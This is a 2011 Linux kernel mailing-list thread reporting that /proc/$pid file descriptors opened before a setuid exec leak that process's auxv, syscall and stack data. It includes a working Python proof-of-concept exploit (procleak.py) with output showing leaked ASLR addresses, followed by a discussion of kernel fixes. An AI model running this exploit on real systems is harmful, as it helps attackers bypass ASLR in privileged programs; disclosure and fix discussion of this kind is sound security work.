Hi,
This came to my attention via a post[1] to full-disclosure, but I don't
think anyone actually brought it up to lkml. Local attackers are able to
bypass DAC permissions in /proc/$pid/ when they can exec a setuid program.
As long as the fd is open before the exec, its contents remain readable
after the exec, even to a setuid program. Here is auxv being scanned for
values that should be private, due to ASLR:
$ ./procleak.py auxv /usr/bin/passwd
AT_BASE: 0x7f761076f000
AT_RANDOM: 0x7fff23697969
Changing password for kees.
(current) UNIX password:
Note that AT_RANDOM is the _location_ of AT_RANDOM, not the value itself,
but this therefore leaks stack location, and AT_BASE leaks the mmap
position of ld:
7f761076f000-7f761078f000 r-xp 00000000 fc:00 1051386 /lib/ld-2.12.2.so
...
7fff23678000-7fff23699000 rw-p 00000000 00:00 0 [stack]
Additionally, snooping on the kernel stack, the syscall parameters, and
even changing oom_adj is possible. Luckily, maps, mem, etc are already
protected by may_ptrace(). The attached tool can demonstrate the snooping,
just specify which /proc/$pid files you want, and the setuid program to
launch. For example:
$ ./procleak.py auxv,syscall /usr/bin/passwd
running
AT_BASE: 0x7f2828bde000
AT_RANDOM: 0x7fff80bde7c9
Changing password for kees.
(current) UNIX password: 0 0x0 0x7fff80bdda90 0x1ff 0x7fff80bdd580 0x7f2828dc57c0 0x7f28287cec1d 0x7fff80bdd088 0x7f28282fe6c0
There needs to be some way to break the connection to these files across
the setuid exec, or perform some sort of revalidation of permissions. (Maybe
check dumpable?)
-Kees
[1] http://seclists.org/fulldisclosure/2011/Jan/421
---
#!/usr/bin/python
# Demonstrates DAC bypass on /proc/$pid file descriptors across setuid exec.
# Author: Kees Cook <[email protected]>
# License: GPLv2
# Usage: ./procleak.py FILES,TO,SNOOP PROGRAM-TO-RUN
import os, sys, time, struct
target = os.getpid()
snoop = ['auxv', 'syscall', 'stack']
args = []
if len(sys.argv)>1:
args = sys.argv[1:]
snoop = args[0].split(',')
args = args[1:]
def dump_auxv(blob):
if len(blob) == 0:
return
auxv = struct.unpack('@%dL' % (len(blob)/len(struct.pack('@L',0))), blob)
while auxv[0] != 0:
if auxv[0] == 7:
print "AT_BASE: 0x%x" % (auxv[1])
if auxv[0] == 25:
print "AT_RANDOM: 0x%x" % (auxv[1])
auxv = auxv[2:]
pid = os.fork()
if pid == 0:
# Child
os.setsid()
sys.stdin.close()
files = dict()
last = dict()
for name in snoop:
files[name] = file('/proc/%d/%s' % (target, name))
# Ignore initial read, since it's from the existing parent
last[name] = files[name].read()
while True:
try:
for name in snoop:
files[name].seek(0)
saw = files[name].read()
if saw != last[name]:
if name == 'auxv':
dump_auxv(saw)
else:
print saw
last[name] = saw
except Exception, o:
if o.errno == 3:
# Target quit
sys.exit(0)
cmd = ['/usr/bin/passwd']
if len(args) > 0:
cmd = args
time.sleep(1)
os.execv(cmd[0],cmd)
--
Kees Cook
Ubuntu Security Team
On Mon, 7 Feb 2011, Kees Cook wrote:
> $ ./procleak.py auxv,syscall /usr/bin/passwd
> running
> AT_BASE: 0x7f2828bde000
> AT_RANDOM: 0x7fff80bde7c9
> Changing password for kees.
> (current) UNIX password: 0 0x0 0x7fff80bdda90 0x1ff 0x7fff80bdd580 0x7f2828dc57c0 0x7f28287cec1d 0x7fff80bdd088 0x7f28282fe6c0
>
> There needs to be some way to break the connection to these files across
> the setuid exec, or perform some sort of revalidation of permissions. (Maybe
> check dumpable?)
The way to do this is to set O_CLOEXEC.
See:
http://udrepper.livejournal.com/20407.html
https://www.securecoding.cert.org/confluence/display/seccode/FIO42-C.+Ensure+files+are+properly+closed+when+they+are+no+longer+needed
Changing the behavior in the core kernel will break userspace.
- James
--
James Morris
<[email protected]>
Hi James,
On Tue, Feb 08, 2011 at 11:44:40AM +1100, James Morris wrote:
> On Mon, 7 Feb 2011, Kees Cook wrote:
>
> > $ ./procleak.py auxv,syscall /usr/bin/passwd
> > running
> > AT_BASE: 0x7f2828bde000
> > AT_RANDOM: 0x7fff80bde7c9
> > Changing password for kees.
> > (current) UNIX password: 0 0x0 0x7fff80bdda90 0x1ff 0x7fff80bdd580 0x7f2828dc57c0 0x7f28287cec1d 0x7fff80bdd088 0x7f28282fe6c0
> >
> > There needs to be some way to break the connection to these files across
> > the setuid exec, or perform some sort of revalidation of permissions. (Maybe
> > check dumpable?)
>
> The way to do this is to set O_CLOEXEC.
Sure, I know about O_CLOEXEC, but this is about protecting the
just-been-execed setuid process from the attacking process that has no
reason to set O_CLOEXEC.
Something like this needs to be enforced on the kernel side. I.e. these
file in /proc need to have O_CLOEXEC set in a way that cannot be unset.
> Changing the behavior in the core kernel will break userspace.
I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
least the non-0444 files should be handled separately.
-Kees
--
Kees Cook
Ubuntu Security Team
On Mon, 7 Feb 2011, Kees Cook wrote:
> Sure, I know about O_CLOEXEC, but this is about protecting the
> just-been-execed setuid process from the attacking process that has no
> reason to set O_CLOEXEC.
>
> Something like this needs to be enforced on the kernel side. I.e. these
> file in /proc need to have O_CLOEXEC set in a way that cannot be unset.
>
> > Changing the behavior in the core kernel will break userspace.
>
> I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
> least the non-0444 files should be handled separately.
Actually, this seems like a more general kind of bug in proc rather than a
leaked fd. Each child task should only see its own /proc/[pid] data.
- James
--
James Morris
<[email protected]>
On Tue, Feb 08, 2011 at 02:43:15PM +1100, James Morris wrote:
> On Mon, 7 Feb 2011, Kees Cook wrote:
> > Sure, I know about O_CLOEXEC, but this is about protecting the
> > just-been-execed setuid process from the attacking process that has no
> > reason to set O_CLOEXEC.
> >
> > Something like this needs to be enforced on the kernel side. I.e. these
> > file in /proc need to have O_CLOEXEC set in a way that cannot be unset.
> >
> > > Changing the behavior in the core kernel will break userspace.
> >
> > I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
> > least the non-0444 files should be handled separately.
>
> Actually, this seems like a more general kind of bug in proc rather than a
> leaked fd. Each child task should only see its own /proc/[pid] data.
Right, that's precisely the problem. The unprivileged process can read
the setuid process's /proc files.
-Kees
--
Kees Cook
Ubuntu Security Team
Kees Cook <[email protected]> writes:
> On Tue, Feb 08, 2011 at 02:43:15PM +1100, James Morris wrote:
>> On Mon, 7 Feb 2011, Kees Cook wrote:
>> > Sure, I know about O_CLOEXEC, but this is about protecting the
>> > just-been-execed setuid process from the attacking process that has no
>> > reason to set O_CLOEXEC.
>> >
>> > Something like this needs to be enforced on the kernel side. I.e. these
>> > file in /proc need to have O_CLOEXEC set in a way that cannot be unset.
>> >
>> > > Changing the behavior in the core kernel will break userspace.
>> >
>> > I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
>> > least the non-0444 files should be handled separately.
>>
>> Actually, this seems like a more general kind of bug in proc rather than a
>> leaked fd. Each child task should only see its own /proc/[pid] data.
>
> Right, that's precisely the problem. The unprivileged process can read
> the setuid process's /proc files.
If these are things that we actually care about we should sprinkle in a
few more ptrace_may_access calls into implementations of the relevant
proc files.
Eric
On Tue, 8 Feb 2011, Eric W. Biederman wrote:
> Kees Cook <[email protected]> writes:
>
> > On Tue, Feb 08, 2011 at 02:43:15PM +1100, James Morris wrote:
> >> > I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
> >> > least the non-0444 files should be handled separately.
> >>
> >> Actually, this seems like a more general kind of bug in proc rather than a
> >> leaked fd. Each child task should only see its own /proc/[pid] data.
> >
> > Right, that's precisely the problem. The unprivileged process can read
> > the setuid process's /proc files.
>
> If these are things that we actually care about we should sprinkle in a
> few more ptrace_may_access calls into implementations of the relevant
> proc files.
This seems to be papering over a bug.
It is plainly broken to return an access error to a task which is
legitimately accessing a file. The task should not receive the wrong
information from /proc/[pid]/* .
- James
--
James Morris
<[email protected]>
James Morris <[email protected]> writes:
> On Tue, 8 Feb 2011, Eric W. Biederman wrote:
>
>> Kees Cook <[email protected]> writes:
>>
>> > On Tue, Feb 08, 2011 at 02:43:15PM +1100, James Morris wrote:
>
>> >> > I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
>> >> > least the non-0444 files should be handled separately.
>> >>
>> >> Actually, this seems like a more general kind of bug in proc rather than a
>> >> leaked fd. Each child task should only see its own /proc/[pid] data.
>> >
>> > Right, that's precisely the problem. The unprivileged process can read
>> > the setuid process's /proc files.
>>
>> If these are things that we actually care about we should sprinkle in a
>> few more ptrace_may_access calls into implementations of the relevant
>> proc files.
>
> This seems to be papering over a bug.
>
> It is plainly broken to return an access error to a task which is
> legitimately accessing a file. The task should not receive the wrong
> information from /proc/[pid]/* .
Per task files are special because of exec. The permission needed
change dynamically. The common solution to this problem (see ttys) is
to revoke anyone who has file descriptors open. Proc does something a
little different and simply gives you a permission error when you read
or write if it would be a problem.
We happen to call the test to see if you should have permission
security_may_ptrace because ptrace lets you get the information anyway
so we might as well allow the information from /proc.
Given that security_may_ptrace is the existing model, and that we don't
return wrong data, but a clear an unambiguous error I don't see problems
with the approach.
The practical question is, is the data sensitive enough that we want
this protection.
Eric
On Wed, Feb 09, 2011 at 07:41:41PM -0800, Eric W. Biederman wrote:
> James Morris <[email protected]> writes:
>
> > On Tue, 8 Feb 2011, Eric W. Biederman wrote:
> >
> >> Kees Cook <[email protected]> writes:
> >>
> >> > On Tue, Feb 08, 2011 at 02:43:15PM +1100, James Morris wrote:
> >
> >> >> > I don't think /proc/$pid/* needs to stay open across execs, does it? Or at
> >> >> > least the non-0444 files should be handled separately.
> >> >>
> >> >> Actually, this seems like a more general kind of bug in proc rather than a
> >> >> leaked fd. Each child task should only see its own /proc/[pid] data.
> >> >
> >> > Right, that's precisely the problem. The unprivileged process can read
> >> > the setuid process's /proc files.
> >>
> >> If these are things that we actually care about we should sprinkle in a
> >> few more ptrace_may_access calls into implementations of the relevant
> >> proc files.
> >
> > This seems to be papering over a bug.
> >
> > It is plainly broken to return an access error to a task which is
> > legitimately accessing a file. The task should not receive the wrong
> > information from /proc/[pid]/* .
>
> Per task files are special because of exec. The permission needed
> change dynamically. The common solution to this problem (see ttys) is
> to revoke anyone who has file descriptors open. Proc does something a
> little different and simply gives you a permission error when you read
> or write if it would be a problem.
>
> We happen to call the test to see if you should have permission
> security_may_ptrace because ptrace lets you get the information anyway
> so we might as well allow the information from /proc.
>
> Given that security_may_ptrace is the existing model, and that we don't
> return wrong data, but a clear an unambiguous error I don't see problems
> with the approach.
>
> The practical question is, is the data sensitive enough that we want
> this protection.
This seems reasonable; they're mode 0400 for a reason. The auxv file
alone is a nearly total ASLR offset leak. The may_ptrace() worked well
for /proc/$pid/maps, and it started as 0444 historically and had a lot
of additional carefully managed requirements. Adding the same restriction
to all the already-mode-0400 files seems logical.
-Kees
--
Kees Cook
Ubuntu Security Team